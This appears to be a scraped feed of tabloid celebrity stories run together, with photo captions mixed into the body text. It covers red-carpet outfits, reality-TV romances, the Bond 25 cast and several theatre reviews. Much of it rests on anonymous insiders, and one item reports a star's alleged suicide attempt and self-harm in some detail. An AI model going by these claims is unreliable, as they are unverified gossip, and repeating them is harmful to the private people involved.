chic: The Australian actress wore a white T-shirt, cropped jeans and a green jacket Style: Joined by a friend, the Confessions of a Shopaholic star added blue suede sneakers, a blue tote bag and retro frammed sunglasses to the look Isla wed Borat star Sacha Baron Cohen, 47, in 2010 after she converted to Judaism. The couple are based in Los Angeles and share three children - daughters Olive, 10, Elula, seven, and son Montgomery, three. In May last year, the Perth-raised star spoke about the challenges of bringing up children in Los Angeles. Power couple: Isla wed Borat star Sacha Baron Cohen in 2010 after she converted to Judaism 'Juggling a family in LA isn't easy,' Isla told Australian Marie Claire. 'There's not really a culture of bringing your kids to dinner parties or to restaurants past 6pm.' 'I tend to entertain at home because I want to be with my family - it's easier to put your kids to bed and have a wine with friends,' she added. Isla went on to reveal a shared sense of humour as one of the secrets behind her successful marriage. Family: The couple share three children and are based in Los Angeles Alisha Aitken-Radburn was 'on the rebound' from Jules Bourne on Thursday night's episode of Bachelor in Paradise. But after sharing a beachside kiss with Canadian 'intruder' Daniel Maguire, it seems the NSW Labor staffer may have found her way back to Jules. On Friday, Alisha appeared to let slip during an interview with hit105.5's AB and Ben that she left Fiji with the former infantry corporal. Scroll down for video Bachelor in Paradise SPOILER ALERT: Alisha Aitken-Radburn (pictured) may have accidentally revealed she is still dating Jules Bourne months after filming the show The 26-year-old shrieked, 'Oh God!', when she was seemingly caught out confirming she's dating Jules, 24, months after filming the show. The awkward moment began when Alisha said: 'I feel like this weight has been lifted off my shoulder... at least people know who Jules is in my life.' Radio host AB quickly asked, 'So, he's still in your life?', to which Alisha hesitantly replied: 'Oh God... you'll have to tune in to find out!' 'I think you just let it slip!' co-host Ben added. 'I think you just let it slip!' Alisha was 'on the rebound' from Jules Bourne (left) on Thursday's episode of Bachelor in Paradise, but it seems the pair may still end up together Alisha was 'dumped' by Jules on Wednesday's episode, when he revealed he wanted to pursue his connection Tenille Favios, 25, instead. But things did not work out in Jules' favour when Tenille 'friend-zoned' him. Afterwards, Jules pleaded with Alisha to keep him in Paradise and she eventually decided to give him a rose. Hmm! The plot thickened on Thursday's episode of Bachelor in Paradise when Canadian 'intruder' Daniel Maguire arrived in Fiji and went on a date with Alisha But the plot thickened on Thursday's episode when Canadian 'intruder' Daniel Maguire arrived in Fiji and went on a date with Alisha. The 33-year-old personal trainer passionately kissed Alisha, hinting at the possibility of a future romance on the show. Bachelor in Paradise continues Tuesday at 7.30pm on Channel 10 Paris Jackson was spotted arriving to a downtown Los Angeles hotel on Thursday. The 21-year-old natural stunner rocked a bright tie-dye shirt and Daisy Dukes as she was joined by her beau and band mate Gabriel Glenn. And the daughter of Michael Jackson looked happy and healthy as the outing comes weeks after she was hospitalized for what was called a 'suicide attempt' at the time. Hippie chic: Paris Jackson, 21, was spotted arriving to a Los Angeles hotel on Thursday Daring to impress, the sandy blonde bombshell embraced her low-key bohemian chic style. Meanwhile, LAPD public information officer Tony Im alleged to People in March: 'At about 7:28 a.m., officers responded to the 7200 block of Hillside for an ambulance attempt suicide. The victim was transported to a local hospital.' After TMZ tweeted on March 16: 'Paris Jackson Hospitalized After Attempted Suicide' over an article alleging as much, she replied: 'f*** you f***ing liars'. 'Paris had an accident this morning that required medical treatment. She is currently resting at home and doing fine,' a People insider insisted. Loved up: The natural stunner rocked a bright tie-dye shirt and Daisy Dukes as she was joined by her beau and band mate Gabriel Glenn Sources later confirmed to DailyMail.com that the King of Pop's daughter had been 'partying' very hard and cut herself with kitchen scissors after she had gotten out of control. The insiders claimed that Jackson continued to act wild once in the hospital and doctors wanted to hold her but her family agreed to send her to rehab in order to secure her release. Paris, however, told friends that she didn't think she needed any sort of treatment. The Sun previously claimed that Paris was worried for her professional future in the wake of Leaving Neverland, a documentary about Michael. 'She was in a movie last year but believes the documentary is already scaring directors away because the abuse her father is accused of may put movie goers off her,' an insider explained to the British newspaper. Most people remember British funnyman Benny Hill for his slapstick, risque humour. But in real life, the multi-millionaire entertainer was riddled with insecurities about his self-worth and had a morbid fear of spending money. In Hollywood journalist Craig Bennett's new book, True Confessions of a Shameless Gossip, he recalls speaking at length about Hill with one of the comedian's closest friends, the late Australian actress Sarah Kemp. Scroll down for video The sad, secret life of Benny Hill: The legendary British comedian was 'lonely, depressed and felt ugly' according to a new book which claims he was so frugal that he glued the soles of his tattered shoes back on'. Pictured on November 20, 1989 in New York City According to Ms Kemp, Hill spent hours confiding in her about how he felt unloved and unattractive to women - despite his oversexed on-screen persona. And although he was worth millions thanks to royalties from The Benny Hill Show, the late actor was extremely frugal and had a phobia of spending money. He was so tight-fisted that he would wear the same clothes until they were threadbare and even glued the soles of his shoes back on when they became loose. Sad truth: Most people remember British comedian Benny Hill for his slapstick, risque humour - but the real-life character was sad, insecure and almost obsessively tight-fisted The comic would only buy groceries when they were on sale, and would walk to the BBC headquarters rather than pay for a taxi. Owning a car or his own home was also out of the question, according to Sarah, as such a large expenditure would have upset Hill. Hill, who died in 1992 aged 68, is best remembered for fronting The Benny Hill Show, which was popular across the world. Cheapskate: Although he was worth millions thanks to royalties from The Benny Hill Show, the late actor was extremely frugal and had a phobia of spending money Confidante: In Hollywood journalist Craig Bennett's new book, True Confessions of a Shameless Gossip, he recalls speaking at length about Hill with one of the comedian's close friends, the late Australian actress Sarah Kemp (pictured) The program consisted of short, often risque, comedy sketches and aired in more than 140 countries between 1955 and 1991. Meanwhile, Sarah Kemp is remembered for playing Charlie Bartlett in the classic Australian soap opera, Sons and Daughters. She died of lung cancer in 2015 aged 77. Craig Bennett's book True Confessions of a Shameless Gossip is released on May 1 Tell-all: Craig Bennett's book True Confessions of a Shameless Gossip is released on May 1 Hilary Duff will forever be the cute, innocent Lizzie McGuire in our hearts. And in her latest get up for the Younger Premiere at the Tribeca Film Festival, Duff looked sweet as can be for her time on the red carpet in New York City. With the blonde were her costars for the Hulu comedy series. Colorful: For the Younger Premiere at the Tribeca Film Festival, Hilary Duff, 31, looked sweet as can be for her time on the red carpet in New York City Luca and Banks' mom donned a short colorful dress, ruffled around the hem. The silk material was speckled with flowers in all sorts of colors and shapes. Reds, yellows, blues, purples and pinks all filled the outfit, which puffed out around the sleeves. Modest on top, the look cut off to reveal the star's well shaped legs. Duff soaked up the attention, waving and smiling at fans and showing off her dewy skin. Floral feeling: The mother-of-two donned a short floral silk mini dress, which featured a ruffled hem Spotlight: for the Younger Premiere at the Tribeca Film Festival, Duff looked sweet as can be for her time on the red carpet All smiles: The former Disney star soaked up the attention, waving and smiling at fans at the screening Also head to toe in flowers was the beauty's costar, Sutton Foster, 44. Sutton went for a less busy dress, wearing a fuchsia pink option, which fell similarly to the way Hilary's did - unassuming on top and in bunches for the skirt. She shined with flowers of darker purple, red and yellow, along with their noticeable green stems all over the dress. Foster accessorized with a tiny bright orange purse and hot pink heels. Her strawberry blonde hair was up in a messy bun with wisps framing her face. Nearly twins: Sutton went for a less busy dress, wearing a fuchsia pink option, which fell similarly to the way Hilary's did - unassuming on top and in bunches for the skirt Beautiful: She shined with flowers of darker purple, red and yellow, along with their noticeable green stems all over the dress Posing alongside the Bunheads actress was Nico Tortorella, who plays Josh on the show. He mimicked his best blue steel look, arching one eyebrow as he put an arm around Sutton's waist. Wearing an unforgettable outfit, the 30-year-old actor wore a white suit with a pattern made up of different colored boudoir women posing seductively all over it. It's called fashion sweetie: Nico Tortorella, 30, wore an unforgettable outfit in a white suit with a pattern made up of different colored boudoir women posing seductively all over it Pro: Nico mimicked his best blue steel look, arching one eyebrow as he put an arm around Sutton's waist Peter Hermann and Molly Kate Bernard also joined the former Disney star for the festival action. Hermann looked handsome as always in a navy suit as he stood behind his female counterparts. Molly also was floral, in all white with thin yellow flowers. Her red bob looked even brighter next to Duff's bright locks. Gangs all here: Peter Hermann and Molly Kate Bernard also joined the former Disney star for the festival action The A Cinderella Story actress got silly with her friend and also paused for a photo with the show's creator, Darren Star. Darren is also the mastermind behind Sex And The City and Beverly Hills 90210. Miriam Shor wore an all blue silk set, with a darker blue low cut top and lighter blue jogger pants. The cast looked overjoyed to be reveling in the premiere with one another. Sensing a theme yet? Molly also was floral, in all white with thin yellow flowers. Her red bob looked even brighter next to Duff's bright locks Big thanks: Hilary paused for a photo with the show's creator, Darren Star So smooth: Miriam Shor wore an all blue silk set, with a darker blue low cut top and lighter blue jogger pants The Tribeca Film Festival is held in the Tribeca neighborhood of Manhattan and it highlights a varied selection of independent films. Younger's cast and crew are currently hard at work filming the sixth season. The new episodes are set to air in June. She never fails to show up to the hottest events in the British capital to party with the crowds of A-list guests and reality stars. And Lizzie Cundy got jaws dropping once again when she arrived at her third and final destination of the evening, 144 On The Hill, in Richmond on Thursday. The television sensation, 50, oozed sex appeal in a plunging black tasseled minidress as she toasted with a cocktail to hand at the new restaurant and cocktail bar. Bust-ing onto the social scene: Lizzie Cundy, 50, put on a busty display in a low-cut tasseled minidress as she party hopped across London on Thursday Beaded tassels hung from the dress to frame Lizzie's slender legs and draw eyes to her best assets while she hit the town in her nude heels. Ravishing ruching detailing made the most of the reality star's toned physique as she showed her face at three destinations over the course of the evening. Lizzie visibly touched up her pretty features with make-up and she blow dried her brunette locks in a neat fashion. Pin-credible: Beaded tassels hung from the dress to frame Lizzie's slender legs and draw eyes to her best assets while she hit the town in her nude heels Known for her penchant for partying, it's no wonder Lizzie was hopping across London to ensure she didn't miss out on the hottest bash of the night. First though, the radio presenter has to attend to her office duties earlier in the day when she was spotted at Fubar Radio. Then, Lizzie turned heads on arrival at Wonderfest, Camden Town's new festival themed rooftop experience before she sampled cocktails at the latest cocktail bar 44 On The Hill. Sensational figure: Ravishing ruching detailing made the most of the reality star's toned physique as she showed her face at three destinations over the course of the evening Lizzie has set aside time for partying in the lead up to her upcoming release of her tell-all book Tales From The Red Carpet. The WAG, whose ex-husband is former Chelsea player Jason Cundy, will be spilling the beans on Prince Harry, Meghan Markle and Kim Kardashian as well as Al Pacino. She plans to leave celebrities quaking in their boots with her no-holds barred revelations about them. Lizzie also told MailOnline: 'I want to help others with my book because I've really seen it all over the years and I've been through a lot. 'I've had dark times but I've come out of the other side, with a little help from my friends.' What a night! Known for her penchant for partying, it's no wonder Lizzie was hopping across London to ensure she didn't miss out on the hottest bash Ghosts (Royal & Derngate, Northampton) Rating: Verdict: Vigorously bleak Warning: this 19th-century Nordic noir contains some scenes with very strong pessimism from the beginning and throughout. Notes in the programme suggest that this gloom might have been wrought by the Norwegian weather, but I think the writer, Henrik Ibsen, wanted us to feel the full force of his wrath at the hypocrisy of Norway's Victorian bourgeoisie. Fear not. The play also has Penny Downie in the leading role, bringing light and warmth to Mike Poulton's vigorously bleak new English version of the story. Iron determination: Penny Downie and James Wilby in Henrik Ibsen's Ghosts. Warning: this 19th-century Nordic noir contains some scenes with very strong pessimism from the beginning and throughout She is the wealthy mother of a young man who's returned from a dissolute gap year with a terminal case of congenital syphilis. She is, however, determined to resolve the mess left by her late husband: a Harvey Weinstein-style alpha male of his day, prone to forcing himself on the staff. The play is in need of updating with all its agonising over sin, conscience and the religious imperatives of marriage. Accordingly, Poulton's muscular rendition of Ibsen's dialogue cuts through its euphemistic period meanderings. The ending of the play is still perhaps irredeemably melodramatic as the son is finally pulled under by the disease he's inherited from his father. But Downie's imperious, yet tender, performance keeps the action from lapsing into black comedy. She is the monarch of her home and I couldn't take my eyes off her. Tall, powerful and emphatic, Downie delivers a performance that is fluted with delicious notes of sarcasm. But most of all there is a sense of iron determination to redeem the family's history. At times pensive and uncertain, she is also decisive even intoxicated, as though gasping on laughing gas as she lays bare the family secrets. No one is more alarmed by this than James Wilby, who plays the pious family friend Pastor Manders. With his floppy hair and tendency to sway on his feet, Wilby makes his pompous moral rectitude seem almost likeable. Pierro Niel-Mee, meanwhile, is suitably peculiar and earnestly intense as the visionary artist son possessed by a sense of manifest destiny that declines into twitchy, alcohol-fuelled mania. There is some light relief from Declan Conlon, whose mildly lecherous local carpenter is rendered here as a louche West of Ireland vagabond. But that's as frivolous as it gets. Lucy Bailey's production is never less than resolute in its gloom, with Mike Britton's design inspired by that other great Norwegian master of angst, Edvard Munch (he of The Scream). For the last act, the set creaks, shudders and opens up under a sulphurous light while ash falls slowly from above, as if the Gates of Hell themselves were opening. It is in some ways a little over the top, but as they say in Norway 'in for a penny, in for a Krone'. Jumpin' for joy with Harlem's hepcats Ain't Misbehavin' (Southwark Playhouse) Rating: Verdict: Jivin' down memory lane If you've been wishing you could check out of the 21st century and make believe it's not really happening just for a little while this is most certainly the show for you. It's a delightful, syncopated trip down memory lane, transporting us back to the Harlem jazz clubs of the Twenties and Thirties. And no question: it sets the joint jumpin' and jivin'. It put me in mind of the Louis Jordan musical Five Guys Named Moe, but it is, in fact, a precursor of that show from 1978, featuring a non-stop fusillade of 30 songs written or performed by Fats Waller. As if the singin' ain't enough, the choreography of Strictly's Oti Mabuse keeps the show spinning like a top. It's a miracle they get to catch their breath between twirling, hand-flapping, heel-kicking, cartwheeling and even twerking [File photo] Numbers include T'Ain't Nobody's Bizness, Jitterbug Waltz, Your Feet's Too Big and I'm Gonna Sit Right Down And Write Myself A Letter. Amid snappy harmonies and raucous dancing, the three leading ladies shimmy gorgeously and provocatively in sequined Gatsby flapper-girl dresses. Landi Oshinowo has got scale, range and vocal technique that put me in mind of Whitney Houston, while Renee Lamb does a delightful turn as a Betty Boop-style bimbo and Carly Mercedes Dyer adds a smoky touch with torch song Keepin' Out Of Mischief. Adrian Hansel and Wayne Robinson give the girls a good run for their money as they adjust their trilbies and tiepins. As if the singin' ain't enough, the choreography of Strictly's Oti Mabuse keeps the show spinning like a top. It's a miracle they get to catch their breath between twirling, hand-flapping, heel-kicking, cartwheeling and even twerking. Pianist Alex Cockle gets no less of a workout for his fingers, leading a band of trumpet, sax and bass. But the show is poignant, too, with the Louis Armstrong hit Black And Blue touching on the racism endured by Harlem musicians at the time. But that's not the point of Tyrone Huntley's fizzing and tirelessly exuberant production, performed on a beautifully bling, all-gold art deco set with glittering walls and tunnel-effect stage for the band. It's Huntley's directorial debut and with a show as assured as this behind him, he's definitely a name to watch. Oceans of praise for a bold Billy Billy Budd (Royal Opera House, London) Rating: Verdict: Gripping new view of a Britten masterpiece Stormy: Jacques Imbrailo (left) and Brindley Sherratt This taut production of Benjamin Britten's all-male naval tragedy features a touching portrayal of the title role by the South African baritone Jacques Imbrailo. He brings beautiful tone and intense concentration to the inarticulate sailor Billy Budd, beloved by almost all his shipmates, who lashes out when unjustly accused of fomenting mutiny and kills the dastardly master-at-arms Claggart. His nemesis is magnificently sung by Brindley Sherratt. Here he shows that his fine bass is capable of expressing pure evil. The Iago-like scene in which he vows to destroy Billy is chilling from first syllable to last. The third side of a triangle is Captain Vere a role created by Britten for his partner Peter Pears who witnesses Claggart's death and has to let Billy be hanged from the yard-arm. Toby Spence looks young to be commanding a ship of the line, but sings nobly. Herman Melville's story was turned into an opera by Britten and E.M. Forster at a time (1951) when their lifestyle was illegal. The libretto, with which the heterosexual Eric Crozier assisted, is full of gay undertones and overtones which lend the action extra tension. Both Vere and Claggart desire Billy and we share Vere's agony as he asserts in his curtain scene that he could have saved the young sailor. Producer Deborah Warner gets so much right that we can forgive occasional lapses, as when Vere grabs Claggart violently by the lapels in Nelson's navy it would be unthinkable. The costumes are a strange melange: the seamen look plausible for 1797, but the officers wear modern naval uniforms. Ivor Bolton conducts almost too lovingly in places, but Britten's orchestral effects are beautifully realised. The singing of the chorus and the artists in smaller roles is irreproachable. Tully Potter Lauren Harries packed on the PDA with a mystery man at an event in London on Thursday night. The former Celebrity Big Brother finalist, 41, posed on the red carpet for the launch of Camden Town's new festival themed rooftop experience with her reported new flame, Antonio Mendez. The pair indulged in an awkward clinch in front of the camera, with Lauren planting a smacker on her new beau, clutching his waist and kicking up her leg. Pucker up! Lauren Harries packed on the PDA with a mystery man at an event in London on Thursday night The pair remained open-eyed for the smooch before Lauren posed for solo snaps. The former antiques expert wore a little black shoulder-less dress, with sparkles and a fur wrap. She added nude heels to the look and her usual wash of loud make-up. Her man wore shorts and a cream shirt for his first public appearance with the reality star. Oooweeooo: The former antiques expert wore a little black shoulder-less dress, with sparkles and a fur wrap Glamour puss: She added nude heels to the look and her usual wash of loud make-up It's possible that this is the man Lauren accidentally broadcast herself getting intimate with last month on social media. The blonde was left horrified after discovering an Instagram live had been running for twelve minutes, with fans left bemused about they were hearing in the background. Picking up her phone Lauren exclaimed, 'Oh my god, oh my god, oh my god', before pausing the video promptly. Oops: Lauren accidentally broadcast herself getting intimate with her new partner on Instagram last month But it wasn't long until the child prodigy star made her return to answer a live Q and A. Unabashed by her epic blunder, she wrote on Twitter: All he wanted was oooweooo. Lauren has kept the identity of her new partner a secret until now, but hasn't shied away from slamming her ex on Twitter. Lauren split from Bruce last year yet claimed he was begging for her back. She said in a video: Hello darling, you can have my sloppy seconds, but remember, theres only one transgender Kardashian, and thats me.' Popping in: Lizzie Cundy attended the same event as Lauren on Thursday Another CBB alum: Ben Jardine was also at the party It's a far cry from last year where she and Bruce appeared on This Morning to gush about their love. During her appearance Lauren explained that she 'melted' when she met the dental hygienist and that he will even be involved in the next stage of her music career. She said: 'Its going amazingly. People can see how much we are in love. I fall for people head first but even this was a shock to me, to fall in love. My life has changed. 'I know women shouldnt change for the man in their life, but I like to make my man happy. I have to go out and buy leopard for Bruce. He loves it. I need a whole new wardrobe.' Modern Family diva Sofia Vergara bared her shoulders in a pink Bardot-style dress for lunch at Italian restaurant Il Pastaio in Beverly Hills on Thursday. The Colombian 46-year-old's floral frock - which she paired with a grey Hermes Birkin bag - did not appear to be from her new 32-piece Walmart summer collection. Meanwhile, the four-time SAG Award winner's second husband Joe Manganiello got a haircut at Salon Industrie in Los Angeles while sporting Air Max 90s and a Rolex watch. Out and about: Modern Family diva Sofia Vergara bared her shoulders in a pink Bardot-style dress for lunch at Italian restaurant Il Pastaio in Beverly Hills on Thursday In bloom: The Colombian 46-year-old's floral frock - which she paired with a grey Hermes Birkin bag - did not appear to be from her new 32-piece Walmart summer collection The 42-year-old Rampage action star spent his Wednesday engrossed in the fantasy role-playing game Dungeons & Dragons with a group of guys, including Jaime King's husband Kyle Newman. Joe's passion for D&D is so well known, he played himself in the February 21 episode of CBS sitcom Big Bang Theory - titled 'The D & D Vortex' - and he's also penned a D&D movie script. It's hard to believe Manganiello shares anything in common with glamorous Vergara, whom he wed in 2015 after a 16-month courtship. Nice fade! Meanwhile, the four-time SAG Award winner's second husband Joe Manganiello got a haircut at Salon Industrie in Los Angeles while sporting Air Max 90s and a Rolex watch Roll that 20-sided dice! The 42-year-old Rampage action star spent his Wednesday engrossed in the fantasy role-playing game Dungeons & Dragons with a group of guys, including Jaime King's husband Kyle Newman 'The D & D Vortex': Joe's passion for D&D is so well known, he played himself in the February 21 episode of CBS sitcom Big Bang Theory, and he's also penned a D&D movie script Opposites attract: It's hard to believe Manganiello shares anything in common with glamorous Vergara, whom he wed in 2015 after a 16-month courtship (pictured Friday) The EBY panties co-founder is mother 26-year-old son Manolo Gonzalez-Ripoll Vergara from her two-year first marriage to high school sweetheart, mechanic and DJ Joe Gonzalez. Sofia will next join Armie Hammer and John Stamos as celebrity readers at the 10th anniversary Kids Art Museum Project fundraiser happening May 19 at the Hammer Museum in Los Angeles. The four-time Golden Globe nominee earns an eye-popping $500K per episode to play housewife Gloria Delgado-Pritchett in the 10th (and final) season of Modern Family, which resumes Wednesday on ABC. Story time: Sofia will next join Armie Hammer and John Stamos as celebrity readers at the 10th anniversary Kids Art Museum Project fundraiser happening May 19 at LA's Hammer Museum Make sure to have the wedding you want and not the wedding your parents want. #ModernFamily pic.twitter.com/1sBtscFv27 Modern Family (@ModernFam) April 19, 2019 James Bond will still 'rise to the occasion' in the #MeToo era, the owners of the 007 franchise told me. 'Me Too has influenced our culture, which is a great thing, so of course it's going to influence everything we do on Bond,' said Barbara Broccoli. She controls the Bond pictures with producer and half-brother Michael G. Wilson. Barbara Broccoli, pictured above with Daniel Craig, said that with the Craig series of Bonds, 007 had evolved into 'a very complex character; and his relationships are far more complex so the women have evolved. She is pictured with Daniel Craig above Wilson's mother Dana married legendary Bond producer Cubby Broccoli in 1959. Daughter Barbara was born a year later. She and Wilson insist Bond films are always contemporary. Wilson stressed that the series 'has been embracing Me Too for many Bond films. I don't think that any of our films would not be acceptable certainly since Daniel [Craig] started. 'Over the years, attitudes have changed, and so have the Bond films. The films are representative of the times they're in.' Armed and reddy: Cuban-born actress Ana de Armas will help 007 on his travels But both insisted Bond would remain a full-blooded action hero. 'He's a real man, who loved life and women and indulged in good food, and had to rise to the occasion when necessary,' Wilson said, with a chuckle. 'That's the kind of character he is.' Broccoli added that with the Craig series of Bonds, 007 had evolved into 'a very complex character; and his relationships are far more complex so the women have evolved. I think this will be a wonderful fifth film, and a really extraordinary journey for Daniel'. I asked if it would definitely be Craig's final Bond adventure. 'That's what he's saying,' Broccoli shot back. 'Yes, he's saying this is his last movie as Bond. Sadly.' Despite their sadness, she and Wilson still have a film to shoot 'and we're not even remotely thinking about what will happen if indeed Daniel hangs up his holster,' she told me. 'All we're doing right now is making this film, and we're so happy to have him back.' But what of the day when the search for the new Bond begins? Could the next person to play the world's most famous secret agent be female? Broccoli ruled that out emphatically. 'My response to Bond being played by a woman is, well, he was written as a man.' She said 'what we should be doing is creating interesting stories for women, and not just turning men into women; or women into men. 'I'm very much interested in making films about women, created for women; and not doing some sort of stunt casting by turning Bond into a woman.' That's pretty decisive. But what about a black Bond? 'It would be wide open,' she said, adding: 'Everyone went hysterical when Daniel was cast because he's blond, would you believe!' Broccoli and Wilson were talking to me from a balcony at GoldenEye, Bond creator Ian Fleming's picturesque home in Jamaica where Bond 25 has been shooting with director Cary Joji Fukunaga and a cast that includes regulars Ralph Fiennes, Naomie Harris, Rory Kinnear, Lea Seydoux, Ben Whishaw and Jeffrey Wright. Oscar-winning actor Rami Malek, who will be the villain of the piece, promised a tough time of it for 007. Dali Benssalah, David Dencik and Billy Magnussen will also star in the as yet untitled film. British-born actress Lashana Lynch, who made her mark in Fast Girls and Captain Marvel, has been cast in the role of Nomi, which Broccoli described as 'very key to the story'. She added that Cuban-born actress Ana de Armas would also appear; playing a character called Paloma 'who helps Bond through part of the journey', across locations including Jamaica, Norway, Italy and London. Broccoli said the women were not playing 'objects'; rather 'they're very interesting and competitive women'. She said some people 'still like to be called Bond girls; we refer to them as Bond women. They're characters in a movie, they're actresses. Some of the actresses still like to be referred to as 'The Bond Girl',' she said with a hearty laugh. 'I think as we get older they like the Bond Girl moniker. I think when they're young, they don't like it so much.' She refused to name names. British-born actress Lashana Lynch, left, who made her mark in Fast Girls and Captain Marvel, has been cast in the role of Nomi, which Broccoli described as 'very key to the story'. Oscar-winning actor Rami Malek will be the villain of the piece Broccoli and Wilson inherited the Bond franchise from Cubby, who produced first Bond film Dr. No featuring Ursula Andress (left). They described Cubby as 'the greatest teacher in the world'; a man who believed in 'giving the audience the ride of their life, and putting all the money on the screen'. Wilson added that another of Cubby's maxims was: 'Don't screw it up.' Broccoli interrupted, saying: 'He said 'Don't let THEM screw it up!' You've got to take risks and make changes. But don't let others screw it up for you.' I asked what happened after they initially hired Danny Boyle then parted ways with him. Broccoli praised the Oscar-winning filmmaker but said 'we all just decided that this collaboration wasn't working, and it was a unanimous decision. 'We parted very respectfully and happily. Sometimes you just have to do that.' She refused to respond to rumours that Boyle wanted to kill off Bond and bring in a new operative. 'All gossip and rumour and we're not going to respond to gossip and rumour,' Broccoli said. She did confirm, however, that Killing Eve and Fleabag writer Phoebe Waller-Bridge had been hired, at Craig's behest, to 'add a layer to the script'. 'We're throwing everything we have at Bond in this movie. He's really going to have a rough ride.' And then, with a laugh, she added: 'We needed all the help we could get.' They've just returned home to Australia following a romantic getaway in Bali. But Susie Bradley is already suffering from post-holiday blues, telling her Instagram followers on Friday she 'misses' her boyfriend Todd Carney. Sharing a loved-up photo of the couple taken in Seminyak, the 26-year-old Married At First Sight star wrote in the caption: 'Missing my one and only!' 'Missing my one and only!' MAFS' Susie Bradley is already suffering from post-holiday blues, telling her Instagram followers on Friday she 'misses' her boyfriend Todd Carney Flaunting her surgically-enhanced cleavage in a pink bikini top, a makeup free Susie flashed a wide smile in the holiday snap. Placing a protective hand on his girlfriend's arm, 32-year-old Todd also showed off his heavily tattooed chest. It comes after the couple were pictured shopping for diamond rings at a jewellery store earlier this month, sparking rumours of a possible engagement. Holiday: The couple have just returned home to Australia following a romantic getaway in Bali On Monday, the bubbly blonde hinted that she is ready to walk down the aisle with Todd after just a few months of dating. During an Instagram Q&A session, Susie giggled 'yes' when asked if she wanted to marry the sportsman one day. She added: 'He's literally one of the best people I've ever met in my life. He's so caring and understanding and generous... and bloody hot!' Wedding bells? During an Instagram Q&A session on Monday, Susie giggled 'yes' when asked if she wanted to marry the sportsman one day Susie apparently met Todd in late January, two months after splitting with her Married At First Sight 'husband' Billy Vincent in November. Earlier this week, Daily Mail Australia uncovered a Tinder profile that appears to belong to Todd - however he insisted he's not using dating apps. 'Must be fake or old,' the sportsman said. Love story: Susie apparently met Todd in late January, two months after splitting with her Married At First Sight 'husband' Billy Vincent in November She was every inch the seductive siren as Bond girl Vesper Lynd in the James Bond's Casino Royale in 2006. And Eva Green showed off her killer figure when she attended the Bvlgari WILD POP Gala Dinner at The Roundhouse, in London on Thursday. The former Bond Girl, 38, was a spectacle as she slipped into a plunging floor-length lime Bvlgari gown for the fashionable occasion. Green with envy: Eva showed off her killer figure in a plunging elegant lime dress as she attended glittering fashion event, in London on Thursday Eva styled out a red lip as a stark contrast to her green outfit to make her stand out at the WILD POP Gala Dinner event. As she worked all the floor space of the red carpet, the actress maneuvered herself to ensure she showed off her most flattering angles in the green dress. Sparkling from head-to-toe, Eva decorated herself with dangling silver earrings and twirled around in metallic bronze heels. The 007 star mingled among the V.I.P guests as she joined the likes of Lady Kitty Spencer at the glittering bash. Magic: As she worked all the floor space of the red carpet, the actress maneuvered herself to ensure she showed off her most flattering angles in the green dress Lovely in lime: The former Bond Girl, 38, was a spectacle as she slipped into a plunging floor-length lime Bvlgari ballgown for the fashionable occasion In other news, Rami Malek was unveiled as the villain as the full cast for Daniel Craig's final outing as 007 was unveiled at Ian Fleming's GoldenEye estate in Jamaica. Following the huge 007 announcement, no doubt Eva was reflecting on her breakout role as Bond Girl Vesper Lynd in Casino Royale alongside Daniel Craig. Recently, Eva voiced her 'insecurities' about ageing because she explained acting 'depends on the desire for people'. Wow: Sparkling from head-to-toe, Eva decorated herself with dangling silver earrings and twirled around in metallic bronze heels (pictured with Lady Kitty Spencer, Laura Harrier) Party time! The 007 star mingled among the V.I.P guests as she joined the likes of Lady Kitty Spencer at the glittering bash The former Bond Girl explained she's tired of hearing women say they are 'more confident' as they age when growing older can actually be 'difficult'. She told The ES Magazine in March: 'There is always that insecurity [about aging]. You depend on the desire of people. 'I read interviews with women going [smug voice], Oh, Im soooo confident now I am in my 30s or in my 40s, I have found myself." 'Well, actually, pfft, it is difficult for an actor, or for any woman, ageing. You think, my God, will people still like me? Ill be in my 40s soon but I always feel like I am 15. Blast from the past! Following the huge 007 announcement, no doubt Eva was reflecting on her breakout role as Bond Girl Vesper Lynd in Casino Royale alongside Daniel Craig Stacey Dooley appeared to confirm her romance with Kevin Clifton in the early hours of Friday morning as she took to Instagram to share their first picture as a couple. The duo have remained coy about their blossoming relationship ever since the news broke two weeks ago when the broadcast journalist's ex-boyfriend Sam Tucknott, 30, had ended their five-year relationship to be with the 'snake' dancer, 36. The Strictly Come Dancing champion, 32, who won the 2018 series of the BBC ballroom competition with Kevin, looked happier than ever as she cuddled up to the professional dancer in a post shared on her Instagram stories. Loved-up: Stacey Dooley appeared to confirm her romance with Kevin Clifton in the early hours of Friday morning to share the very first picture as a couple The pair have finally reunited after Stacey's work trip to Washington D.C., where she has been busy filming a new documentary. Beaming from ear-to-ear, Kevin and Stacey couldn't hide their delight as they made their romance Instagram official. The TV presenter was dressed down in a loose black knit, distressed jeans and black heels, while Kevin rocked a casual jumper and trainers. Last week, Kevin broke his silence about his romance with Stacey as he paid a gushing tribute to her during the opening night of his Burn The Floor show. Candid: Last week, Kevin broke his silence about his romance with Stacey as he paid a gushing tribute to her during the opening night of his Burn The Floor show According to the Daily Mirror, he told the audience: 'In the last couple of years I've seen massive upheaval in my personal life and it hasn't always been easy. 'There have been a lot of things thrown at me. At times I've struggled. And the times I've struggled and I was in a bit of a rut I didn't know what to do.' Adding that he isn't 'the best at dealing with' negative publicity about his personal life and finds it 'difficult', the Strictly pro said it was thanks to producers of his dancing tour that he could be brought back to a place where things 'felt right' again. As he held the Glitterball trophy they won together, Kevin then went on to say of his new love: 'And thanks to Miss Stacey Dooley, I can finally say I'm the Strictly champion after six years of trying. It's a miracle.' MailOnline have contacted representatives of Kevin and Stacey for comment. Gushing: Addressing the audience, Kevin said of new love: 'And thanks to Miss Stacey Dooley, I can finally say I'm the Strictly champion after six years of trying. It's a miracle' Giving it a like: While he has been busy on tour, Stacey showed her support from a distance by liking his latest Instagram post from his tour While he has been busy on tour, Stacey showed her support from a distance by liking his latest Instagram post from his tour. It was previously reported by The Sun that Stacey has been urged by friends to steer clear of him in order to protect her career. A source told the publication: 'Stacey has plenty of work on at the moment and her agents dont want that to be effected in the wake of the scandal. 'Theyve quietly suggested that the recent stories could be bad for her image and hope that she will listen to the advice. 'Stacey does what she wants at the end of the day but they think its best if she keeps a low profile and that means staying away from Kevin for now.' Honest: Adding that he isn't 'the best at dealing with' negative publicity about his personal life, the Strictly pro said it was thanks to his dancing tour that things 'felt right' again Romance: It's been rumoured that Stacey and Kevin have been enjoying a secret romance for months, with photos emerging of the pair heading into the same Birmingham hotel in January It's been rumoured that Stacey and Kevin have been enjoying a secret romance for months, with photos emerging of the pair heading into the same Birmingham hotel in January. Kevin was previously married to Karen Clifton, who he split from a year ago after three years of marriage but 